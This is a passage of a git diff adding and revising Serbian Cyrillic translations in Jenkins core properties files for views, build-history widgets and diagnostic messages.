\u0414\u043E\u043A\u0443\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0430 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0430 \u0443 Jenkins-\u0443. +de= diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties new file mode 100644 index 0000000000..a774b7e8f9 --- /dev/null +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Failed\ to\ load\ JNA=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u043B\u043E \u0443\u0447\u0438\u0442\u0430\u0442\u0438 JNA +blurb=\u0414\u0440\u0443\u0433\u0430 \u0438\u043D\u0441\u0442\u0430\u043D\u0446\u0430 JNA \u0458\u0435 \u0432\u0435\u045B \u0443\u0447\u0438\u0442\u0430\u043D\u0430 \u0443 classloader, \u043F\u043E\u0442\u043E\u043C Jenkins \u043D\u0435\u043C\u043E\u0436\u0435 \u0443\u0447\u0438\u0442\u0430\u0442\u0438 \u0441\u0432\u043E\u0458\u0443 \u043A\u043E\u043F\u0438\u0458\u0443. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. diff --git a/core/src/main/resources/hudson/util/JenkinsReloadFailed/index_sr.properties b/core/src/main/resources/hudson/util/JenkinsReloadFailed/index_sr.properties new file mode 100644 index 0000000000..2a99f9eb88 --- /dev/null +++ b/core/src/main/resources/hudson/util/JenkinsReloadFailed/index_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +msg=Jenkins \u0458\u0435 \u0431\u0438\u043E \u043F\u0440\u0435\u043A\u0438\u043D\u0443\u0442 \u0434\u043E\u043A \u0458\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u0438\u0447\u0438\u0442\u0430\u0432\u0430\u043E \u043F\u043E\u0442\u0430\u043A\u0435 \u0441\u0430 \u0434\u0438\u0441\u043A\u0430, \u0438 \u043F\u043E\u0442\u043E\u043C \u0442\u043E\u0433\u0430 \u0458\u0435 \u0441\u0442\u0430\u043E \u0434\u0430 \u0431\u0438 \u0441\u0435 \u0441\u043F\u0440\u0435\u0447\u0438\u043B\u043E \u0433\u0443\u0431\u0438\u0442\u0430\u043A \u043F\u043E\u0434\u0430\u0442\u0430\u043A\u0430. \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0438\u0442\u0435 Jenkins. \ No newline at end of file diff --git a/core/src/main/resources/hudson/util/Messages_sr.properties b/core/src/main/resources/hudson/util/Messages_sr.properties new file mode 100644 index 0000000000..a813bf1695 --- /dev/null +++ b/core/src/main/resources/hudson/util/Messages_sr.properties @@ -0,0 +1,10 @@ +# This file is under the MIT License by authors + +ClockDifference.InSync=\u0421\u0438\u043D\u0445\u0440\u043E\u043D\u0438\u0437\u043E\u0432\u0430\u043D\u043E +ClockDifference.Ahead={0} \u0438\u0441\u043F\u0440\u0435\u0434 +ClockDifference.Behind={0} \u0438\u0437\u0430 +ClockDifference.Failed=\u041F\u0440\u043E\u0432\u0435\u0440\u0430 \u043D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u0430. +FormFieldValidator.did_not_manage_to_validate_may_be_too_sl=\u041F\u0440\u043E\u0432\u0435\u0440\u0430 {0} \u043D\u0438\u0458\u0435 \u0443\u0441\u043F\u0435\u043B\u043E. \u041C\u043E\u0433\u0443\u045B\u0435 \u0458\u0435 \u0434\u0430 Jenkins \u043D\u0438\u0458\u0435 \u0434\u043E\u0432\u043E\u0459\u043D\u043E \u0431\u0440\u0437. +FormValidation.Error.Details=(\u043F\u0440\u0438\u0434\u0430\u0436\u0438 \u0434\u0435\u0442\u0430\u0459\u0435) +FormValidation.ValidateRequired=\u041E\u0431\u0430\u0432\u0435\u0437\u043D\u043E +HttpResponses.Saved=\u0421\u0430\u0447\u0443\u0432\u0430\u043D\u043E \ No newline at end of file diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties new file mode 100644 index 0000000000..ea9d4b334e --- /dev/null +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_sr.properties @@ -0,0 +1,9 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +errorMessage.1=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043A\u0440\u0435\u0438\u0440\u0430\u0442\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C \u2018{0}\u2019, \u0432\u0435\u0440\u043E\u0432\u0430\u0442\u043D\u043E \u0437\u0431\u043E\u0433 \u043D\u0435\u0434\u043E\u0441\u0442\u0430\u0442\u043A\u0430 \u043F\u0440\u0430\u0432\u0430. +errorMessage.2=\ + \u0414\u0430 \u043F\u0440\u043E\u043C\u0435\u043D\u0438\u0442\u0435 \u0433\u043B\u0430\u0432\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C, \u043A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 JENKINS_HOME \u043F\u0440\u043E\u043C\u0435\u043D\u0459\u0438\u0432\u0443 \u0438\u043B\u0438 \ + JENKINS_HOME \u0441\u0438\u0441\u0442\u0435\u043C\u0441\u043A\u0443 \u043F\u043E\u0441\u0442\u0430\u0432\u043A\u0443. \ + \u041F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0414\u043E\u043A\u0443\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u043E \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0438\u043C\u0430 \ + \u0437\u0430 \u0458\u043E\u0448 \u0434\u0435\u0442\u0430\u0459\u0430. \ No newline at end of file diff --git a/core/src/main/resources/hudson/util/NoTempDir/index_sr.properties b/core/src/main/resources/hudson/util/NoTempDir/index_sr.properties new file mode 100644 index 0000000000..b4cd0a780b --- /dev/null +++ b/core/src/main/resources/hudson/util/NoTempDir/index_sr.properties @@ -0,0 +1,5 @@ +# This file is under the MIT License by authors + +Error=\u0413\u0440\u0435\u0448\u043A\u0430 +description=\ + \u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043A\u0440\u0435\u0438\u0440\u0430\u0442\u0438 \u043F\u0440\u0438\u0432\u0440\u0435\u043C\u0435\u043D\u0443 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0443, \u0432\u0435\u0440\u043E\u0432\u0430\u0442\u043D\u043E \u0437\u0431\u043E\u0433 \u043B\u043E\u0448\u0430 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u043E\u043C. JVM \u043A\u043E\u0440\u0438\u0441\u0442\u0438 "{0}" \u0437\u0430 \u043F\u0440\u0438\u0432\u0440\u0435\u043C\u0435\u043D\u0438 \u0434\u0438\u0440\u0435\u043A\u0442\u043E\u0440\u0438\u0458\u0443\u043C. \u0414\u0430\u043B\u0438 \u043F\u043E\u0441\u0442\u043E\u0458\u0438, \u0438 \u0434\u0430\u043B\u0438 \u0458\u0435 \u043C\u043E\u0433\u0443\u045B\u0435 \u043F\u0438\u0441\u0430\u0442\u0438 \u043F\u043E \u045A\u0435\u043C\u0443? diff --git a/core/src/main/resources/hudson/views/BuildButtonColumn/column_sr.properties b/core/src/main/resources/hudson/views/BuildButtonColumn/column_sr.properties index 98c763b42c..7711217d55 100644 --- a/core/src/main/resources/hudson/views/BuildButtonColumn/column_sr.properties +++ b/core/src/main/resources/hudson/views/BuildButtonColumn/column_sr.properties @@ -1,4 +1,5 @@ # This file is under the MIT License by authors Build_scheduled=Plan pokretanja -Schedule_a_build=Zaka\u017Ei gradnju \u0437\u0430 {0} +Schedule_a_build=\u0417\u0430\u043A\u0430\u0436\u0438 \u0433\u0440\u0430\u0434\u045A\u0443 \u0437\u0430 {0} +Schedule_a_build_with_parameters=\u0417\u0430\u043A\u0430\u0436\u0438 \u0433\u0440\u0430\u0434\u045A\u0443 \u0441\u0430 \u043F\u0430\u0440\u0430\u043C\u0435\u0442\u0440\u0438\u043C\u0430: {0} diff --git a/core/src/main/resources/hudson/views/DefaultMyViewsTabBar/myViewTabs_sr.properties b/core/src/main/resources/hudson/views/DefaultMyViewsTabBar/myViewTabs_sr.properties index e072208cd4..f8ec299e02 100644 --- a/core/src/main/resources/hudson/views/DefaultMyViewsTabBar/myViewTabs_sr.properties +++ b/core/src/main/resources/hudson/views/DefaultMyViewsTabBar/myViewTabs_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -New\ View=Novi pogled +New\ View=\u041D\u043E\u0432\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 diff --git a/core/src/main/resources/hudson/views/DefaultViewsTabBar/viewTabs_sr.properties b/core/src/main/resources/hudson/views/DefaultViewsTabBar/viewTabs_sr.properties index d115f68374..f8ec299e02 100644 --- a/core/src/main/resources/hudson/views/DefaultViewsTabBar/viewTabs_sr.properties +++ b/core/src/main/resources/hudson/views/DefaultViewsTabBar/viewTabs_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -New\ View=Novi prikaz +New\ View=\u041D\u043E\u0432\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 diff --git a/core/src/main/resources/hudson/views/GlobalDefaultViewConfiguration/config_sr.properties b/core/src/main/resources/hudson/views/GlobalDefaultViewConfiguration/config_sr.properties new file mode 100644 index 0000000000..136fa5e105 --- /dev/null +++ b/core/src/main/resources/hudson/views/GlobalDefaultViewConfiguration/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Default\ view=\u0421\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0438 \u043F\u0440\u0435\u0433\u043B\u0435\u0434 \ No newline at end of file diff --git a/core/src/main/resources/hudson/views/JobColumn/columnHeader_sr.properties b/core/src/main/resources/hudson/views/JobColumn/columnHeader_sr.properties new file mode 100644 index 0000000000..c573467a68 --- /dev/null +++ b/core/src/main/resources/hudson/views/JobColumn/columnHeader_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Job=\u0417\u0430\u0434\u0430\u0442\u0430\u043A diff --git a/core/src/main/resources/hudson/views/LastDurationColumn/columnHeader_sr.properties b/core/src/main/resources/hudson/views/LastDurationColumn/columnHeader_sr.properties index 0dc0c40cfe..04663dcd00 100644 --- a/core/src/main/resources/hudson/views/LastDurationColumn/columnHeader_sr.properties +++ b/core/src/main/resources/hudson/views/LastDurationColumn/columnHeader_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Last\ Duration=Poslednje trajanje +Last\ Duration=\u0422\u0440\u0430\u0458\u0430\u045A\u0435 \u0437\u0430\u0434\u045A\u0435\u0433 diff --git a/core/src/main/resources/hudson/views/LastDurationColumn/column_sr.properties b/core/src/main/resources/hudson/views/LastDurationColumn/column_sr.properties new file mode 100644 index 0000000000..8a2491e155 --- /dev/null +++ b/core/src/main/resources/hudson/views/LastDurationColumn/column_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +N/A=\u041D/\u0414 diff --git a/core/src/main/resources/hudson/views/LastFailureColumn/columnHeader_sr.properties b/core/src/main/resources/hudson/views/LastFailureColumn/columnHeader_sr.properties index a26e6b3c24..8109ac2163 100644 --- a/core/src/main/resources/hudson/views/LastFailureColumn/columnHeader_sr.properties +++ b/core/src/main/resources/hudson/views/LastFailureColumn/columnHeader_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Last\ Failure=Poslednja gre\u0161ka +Last\ Failure=\u0417\u0430\u0434\u045A\u0435 \u0441\u0430 \u0433\u0440\u0435\u0448\u043A\u0430\u043C\u0430 diff --git a/core/src/main/resources/hudson/views/LastFailureColumn/column_sr.properties b/core/src/main/resources/hudson/views/LastFailureColumn/column_sr.properties index 5506e1cdd2..8a2491e155 100644 --- a/core/src/main/resources/hudson/views/LastFailureColumn/column_sr.properties +++ b/core/src/main/resources/hudson/views/LastFailureColumn/column_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -N/A=Nije dostupno +N/A=\u041D/\u0414 diff --git a/core/src/main/resources/hudson/views/LastStableColumn/columnHeader_sr.properties b/core/src/main/resources/hudson/views/LastStableColumn/columnHeader_sr.properties new file mode 100644 index 0000000000..3d3642c740 --- /dev/null +++ b/core/src/main/resources/hudson/views/LastStableColumn/columnHeader_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Last\ Stable=\u0417\u0430\u0434\u045A\u0435 \u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430 diff --git a/core/src/main/resources/hudson/views/LastStableColumn/column_sr.properties b/core/src/main/resources/hudson/views/LastStableColumn/column_sr.properties new file mode 100644 index 0000000000..8a2491e155 --- /dev/null +++ b/core/src/main/resources/hudson/views/LastStableColumn/column_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +N/A=\u041D/\u0414 diff --git a/core/src/main/resources/hudson/views/LastSuccessColumn/columnHeader_sr.properties b/core/src/main/resources/hudson/views/LastSuccessColumn/columnHeader_sr.properties index 6dd5d60340..977d468796 100644 --- a/core/src/main/resources/hudson/views/LastSuccessColumn/columnHeader_sr.properties +++ b/core/src/main/resources/hudson/views/LastSuccessColumn/columnHeader_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Last\ Success=Poslednje uspe\u0161no +Last\ Success=\u0417\u0430\u0434\u045A\u0435 \u0443\u0441\u043F\u0435\u0448\u043Da diff --git a/core/src/main/resources/hudson/views/LastSuccessColumn/column_sr.properties b/core/src/main/resources/hudson/views/LastSuccessColumn/column_sr.properties new file mode 100644 index 0000000000..8a2491e155 --- /dev/null +++ b/core/src/main/resources/hudson/views/LastSuccessColumn/column_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +N/A=\u041D/\u0414 diff --git a/core/src/main/resources/hudson/views/Messages_sr.properties b/core/src/main/resources/hudson/views/Messages_sr.properties new file mode 100644 index 0000000000..0ed7e3366a --- /dev/null +++ b/core/src/main/resources/hudson/views/Messages_sr.properties @@ -0,0 +1,12 @@ +# This file is under the MIT License by authors + +BuildButtonColumn.DisplayName=\u0414\u0443\u0433\u043C\u0435 \u0437\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 +JobColumn.DisplayName=\u0418\u043C\u0435 +LastFailureColumn.DisplayName=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u0430 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +LastDurationColumn.DisplayName=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u043E \u0442\u0440\u0430\u0458\u0430\u045A\u0435 +LastSuccessColumn.DisplayName=\u041F\u043E\u0441\u043B\u0435\u0434\u043D\u0430 \u0443\u0441\u043F\u0435\u0448\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +LastStableColumn.DisplayName=\u041F\u043E\u0441\u043B\u0435\u0434\u045A\u0430 \u0441\u0442\u0430\u0431\u0438\u043B\u043D\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 +StatusColumn.DisplayName=\u0421\u0442\u0430\u045A\u0435 +WeatherColumn.DisplayName=\u0412\u0440\u0435\u043C\u0435\u043D\u0441\u043A\u0430 \u043F\u0440\u043E\u0433\u043D\u043E\u0437\u0430 +DefaultViewsTabsBar.DisplayName=\u0422\u0440\u0430\u043A\u0430 \u0437\u0430 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0435 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0435 +DefaultMyViewsTabsBar.DisplayName=\u0422\u0440\u0430\u043A\u0430 \u0437\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u0435 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0435 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/views/MyViewsTabBar/GlobalConfigurationImpl/config_sr.properties b/core/src/main/resources/hudson/views/MyViewsTabBar/GlobalConfigurationImpl/config_sr.properties new file mode 100644 index 0000000000..c99dc05905 --- /dev/null +++ b/core/src/main/resources/hudson/views/MyViewsTabBar/GlobalConfigurationImpl/config_sr.properties @@ -0,0 +1,4 @@ +# This file is under the MIT License by authors + +My\ Views\ Tab\ Bar=\u0422\u0440\u0430\u043A\u0430 \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u0438\u0445 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 +Views\ Tab\ Bar=\u0422\u0440\u0430\u043A\u0430 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/views/StatusColumn/columnHeader_sr.properties b/core/src/main/resources/hudson/views/StatusColumn/columnHeader_sr.properties index 23fd1afde1..cd82ecab21 100644 --- a/core/src/main/resources/hudson/views/StatusColumn/columnHeader_sr.properties +++ b/core/src/main/resources/hudson/views/StatusColumn/columnHeader_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Status\ of\ the\ last\ build=Status poslednje gradnje +Status\ of\ the\ last\ build=\u0421\u0442\u0430\u045A\u0435 \u043F\u043E\u0441\u043B\u0435\u0434\u045A\u0435 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 diff --git a/core/src/main/resources/hudson/views/ViewsTabBar/GlobalConfigurationImpl/config_sr.properties b/core/src/main/resources/hudson/views/ViewsTabBar/GlobalConfigurationImpl/config_sr.properties new file mode 100644 index 0000000000..d8d6bba6d0 --- /dev/null +++ b/core/src/main/resources/hudson/views/ViewsTabBar/GlobalConfigurationImpl/config_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +Views\ Tab\ Bar=\u0422\u0440\u0430\u043A\u0430 \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430 \ No newline at end of file diff --git a/core/src/main/resources/hudson/views/WeatherColumn/columnHeader_sr.properties b/core/src/main/resources/hudson/views/WeatherColumn/columnHeader_sr.properties index 9e5e28e3a5..a82a73c5f8 100644 --- a/core/src/main/resources/hudson/views/WeatherColumn/columnHeader_sr.properties +++ b/core/src/main/resources/hudson/views/WeatherColumn/columnHeader_sr.properties @@ -1,3 +1,3 @@ # This file is under the MIT License by authors -Weather\ report\ showing\ aggregated\ status\ of\ recent\ builds=Vremenski izve\u0161taj prikazuje prikupljen status posljednjih verzija +Weather\ report\ showing\ aggregated\ status\ of\ recent\ builds=\u0412\u0440\u0435\u043C\u0435\u043D\u0441\u043A\u0430 \u043F\u0440\u043E\u0433\u043D\u043E\u0437\u0430 \u043A\u043E\u0458\u0430 \u043F\u0440\u0438\u043A\u0430\u0436\u0435 \u0443\u043E\u043F\u0448\u0442\u0438 \u0441\u0442\u0430\u045A\u0435 \u043F\u043E\u0441\u043B\u0435\u0434\u045A\u0438\u0445 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 diff --git a/core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_sr.properties b/core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_sr.properties new file mode 100644 index 0000000000..f318f6c798 --- /dev/null +++ b/core/src/main/resources/hudson/widgets/BuildHistoryWidget/entries_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +confirm=\u0414\u0430 \u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043E\u0442\u043A\u0430\u0436\u0435\u0442\u0435 \u043F\u043B\u0430\u043D\u0438\u0440\u0430\u043D\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 {0}? +cancel\ this\ build=\u041E\u0442\u043A\u0430\u0436\u0438 \u043E\u0432\u043E \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 +pending=\u0427\u0435\u043A\u0430\u0458\u0443\u045B\u0438 +Expected\ build\ number=O\u0447\u0435\u043A\u0438\u0432\u0430\u043D \u0431\u0440\u043E\u0458 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0435 \ No newline at end of file diff --git a/core/src/main/resources/hudson/widgets/HistoryWidget/entry_sr.properties b/core/src/main/resources/hudson/widgets/HistoryWidget/entry_sr.properties index 1695ebc85e..c44ac8dff6 100644 --- a/core/src/main/resources/hudson/widgets/HistoryWidget/entry_sr.properties +++ b/core/src/main/resources/hudson/widgets/HistoryWidget/entry_sr.properties @@ -1,3 +1,4 @@ # This file is under the MIT License by authors -Console\ Output=Konzolni Output +confirm=\u0414\u0430 \u043B\u0438 \u0436\u0435\u043B\u0438\u0442\u0435 \u0434\u0430 \u043E\u0442\u043A\u0430\u0436\u0435\u0442\u0435 \u043F\u043B\u0430\u043D\u0438\u0440\u0430\u043D\u0443 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0443 {0}? +Console\ Output=\u041A\u043E\u043D\u0437\u043E\u043B\u043D\u0438 \u0438\u0441\u0445\u043E\u0434 diff --git a/core/src/main/resources/hudson/widgets/HistoryWidget/index_sr.properties b/core/src/main/resources/hudson/widgets/HistoryWidget/index_sr.properties index 7c753aa453..f3e3827619 100644 --- a/core/src/main/resources/hudson/widgets/HistoryWidget/index_sr.properties +++ b/core/src/main/resources/hudson/widgets/HistoryWidget/index_sr.properties @@ -1,5 +1,8 @@ # This file is under the MIT License by authors -More\ ...=Vi\u0161e -for\ all=za sve -for\ failures=za otkaze +for\ all=\u0437\u0430 \u0441\u0432\u0435 +for\ failures=\u0437\u0430 \u043D\u0435\u0443\u0441\u043F\u0435\u0448\u043D\u0438\u0435 +trend=\u0442\u0440\u0435\u043D\u0434 +Clear=\u0418\u0437\u0431\u0440\u0438\u0448\u0438 +find=\u043F\u043E\u0442\u0440\u0430\u0436\u0438 +More\ ...=\u0412\u0438\u0448\u0435 diff --git a/core/src/main/resources/hudson/widgets/Messages_sr.properties b/core/src/main/resources/hudson/widgets/Messages_sr.properties new file mode 100644 index 0000000000..ba1355710a --- /dev/null +++ b/core/src/main/resources/hudson/widgets/Messages_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +BuildHistoryWidget.DisplayName=\u0418\u0441\u0442\u043E\u0440\u0438\u0458\u0430 \u0438\u0437\u0433\u0440\u0430\u0434\u045A\u0430 \ No newline at end of file diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties new file mode 100644 index 0000000000..e1b2a24bec --- /dev/null +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/index_sr.properties @@ -0,0 +1,11 @@ +# This file is under the MIT License by authors + +Java\ VM\ Crash\ Reports=\u0418\u0437\u0432\u0435\u0448\u0440\u0430\u0458\u0438 JVM \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430 +blurb=\u041D\u0430\u0452\u0435\u043D\u0438 \u0441\u0443 \u0438\u0437\u0432\u0435\u0448\u0440\u0430\u0458\u0438 JVM \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0438\u043C\u0430 \u0437\u0430 \u043E\u0432\u0443 Jenkins \u043C\u0430\u0448\u0438\u043D\u0443. \ + \u0410\u043A\u043E \u043C\u0438\u0441\u043B\u0438\u0442\u0435 \u0434\u0430 \u0441\u0442\u0435 \u043D\u0430\u0448\u043B\u0438 \u043F\u0440\u043E\u0431\u043B\u0435\u043C \u0441\u0430 Jenkins-\u043E\u043C, \u043C\u043E\u043B\u0438\u043C\u043E \u043F\u0440\u0438\u0458\u0430\u0432\u0438 \u0433\u0430. \ + Jenkins \u043A\u043E\u0440\u0438\u0441\u0442\u0438 \u043D\u0435\u043A\u043E\u043B\u0438\u043A\u043E \u0445\u0435\u0443\u0440\u0438\u0441\u0442\u0438\u043A\u0435 \u0434\u0430 \u043F\u0440\u043E\u043D\u0430\u0452\u0435 \u043E\u0432\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435. \u041A\u043E\u0440\u0438\u0441\u0442\u0438\u0442\u0435 JVM \u043E\u043F\u0446\u0438\u0458\u0443 \ + -XX:ErrorFile=/path/to/hs_err_pid%p.log \u0437\u0430 \u043F\u043E\u0443\u0437\u0434\u0430\u043D\u0438\u0458\u0435 \u043F\u0440\u0435\u0442\u0440\u0430\u0436\u0438\u0432\u0430\u045A\u0435. +Name=\u0418\u043C\u0435 +Date=\u0414\u0430\u0442\u0443\u043C +ago=\u043F\u0440\u0435 {0} +Delete=\u0418\u0437\u0431\u0440\u0438\u0448\u0438 diff --git a/core/src/main/resources/jenkins/diagnosis/HsErrPidList/message_sr.properties b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/message_sr.properties new file mode 100644 index 0000000000..e58a04dbd0 --- /dev/null +++ b/core/src/main/resources/jenkins/diagnosis/HsErrPidList/message_sr.properties @@ -0,0 +1,3 @@ +# This file is under the MIT License by authors + +blurb=Jenkins \u0458\u0435 \u043F\u0440\u0435\u0441\u0442\u0430\u043E \u0434\u0430 \u0440\u0430\u0434\u0438. \u041C\u043E\u043B\u0438\u043C\u043E \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0436\u0443\u0440\u043D\u0430\u043B. diff --git a/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message_sr.properties b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message_sr.properties new file mode 100644 index 0000000000..8635ae34b5 --- /dev/null +++ b/core/src/main/resources/jenkins/diagnostics/CompletedInitializationMonitor/message_sr.properties @@ -0,0 +1,12 @@ +# This file is under the MIT License by authors + +Warning!=\u0423\u043F\u043E\u0437\u043E\u0440\u0435\u045A\u0435! +blurb=\u0418\u043D\u0438\u0446\u0438\u0430\u043B\u0438\u0437\u0430\u0446\u0438\u0458\u0430 Jenkins-\u0430 \u043D\u0438\u0458\u0435 \u0434\u043E\u0441\u0442\u0438\u0433\u043B\u043E \u0434\u043E \u0444\u0430\u0437\u0435 COMPLETED \u043F\u043E\u0441\u043B\u0435 \u043F\u043E\u043D\u043E\u0432\u043E\u0433 \u0443\u0447\u0438\u0442\u0430\u045A\u0435 \u043F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430. \ + \u0422\u0440\u0435\u043D\u0443\u0442\u043D\u043E \u0441\u0442\u0430\u045A\u0435 \u0458\u0435: "{0}". \ + \u041E\u0432\u0430\u043A\u0432\u043E \u043D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u043D\u043E \u0441\u0442\u0430\u045A\u0435 \u043C\u043E\u0436\u0435 \u0434\u043E\u0432\u0435\u0441\u0442\u0438 \u0434\u043E \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430 \u0441\u0430 Jenkins \u043C\u043E\u0434\u0443\u043B\u0438\u043C\u0430. \ + \u0412\u0435\u0440\u043E\u0432\u0430\u0442\u043D\u043E \u0438\u043C\u0430 \u043F\u0440\u043E\u0431\u043B\u0435\u043C\u0430 \u0441\u0430 \u0438\u043D\u0438\u0446\u0438\u0430\u043B\u0438\u0437\u0430\u0446\u0438\u0458\u043E\u043C \u0438\u043B\u0438 \u0443\u0447\u0438\u0442\u0430\u045A\u0430 task graph. +Example\:\ usage\ of=\u041F\u0440\u0438\u043C\u0435\u0440: +in\ a\ plugin=\u0443 \u043C\u043E\u0434\u0443\u043B\u0438 +Please=\u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, +report\ a\ bug=\u043F\u0440\u0438\u0432\u0430\u0458\u0438 \u0433\u0440\u0435\u0448\u043A\u0443 +in\ the\ Jenkins\ bugtracker=\u043D\u0430 \u0441\u0438\u0441\u0442\u0435\u043C \u0437\u0430 \u043F\u0440\u0430\u045B\u0435\u045A\u0435 \u0433\u0440\u0435\u0448\u0430\u043A\u0430 diff --git a/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message_sr.properties b/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message_sr.properties new file mode 100644 index 0000000000..170a58076a --- /dev/null +++ b/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message_sr.properties @@ -0,0 +1,6 @@ +# This file is under the MIT License by authors + +Setup\ Security=\u041F\u043E\u0441\u0442\u0430\u0432\u0438 \u0431\u0435\u0437\u0431\u0435\u0434\u043D\u043E\u0441\u0442 +Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 +blurb=\u041D\u0435\u043E\u0431\u0435\u0437\u0431\u0435\u0436\u0435\u043D\u0435 \u0438\u043D\u0441\u0442\u0430\u043B\u0430\u0446\u0438\u0458\u0435 Jenkins-\u0430 \u0434\u0430\u0458\u0435 \u0431\u0438\u043B\u043E \u043A\u043E\u043C\u0435 \u043D\u0430 \u043C\u0440\u0435\u0436\u0438 \u043F\u0440\u0438\u0441\u0442\u0443\u043F \u043F\u043E\u043A\u0440\u0435\u0442\u0430\u045A\u0443 \u0437\u0430\u0434\u0430\u0442\u0430\u043A\u0430. \ + 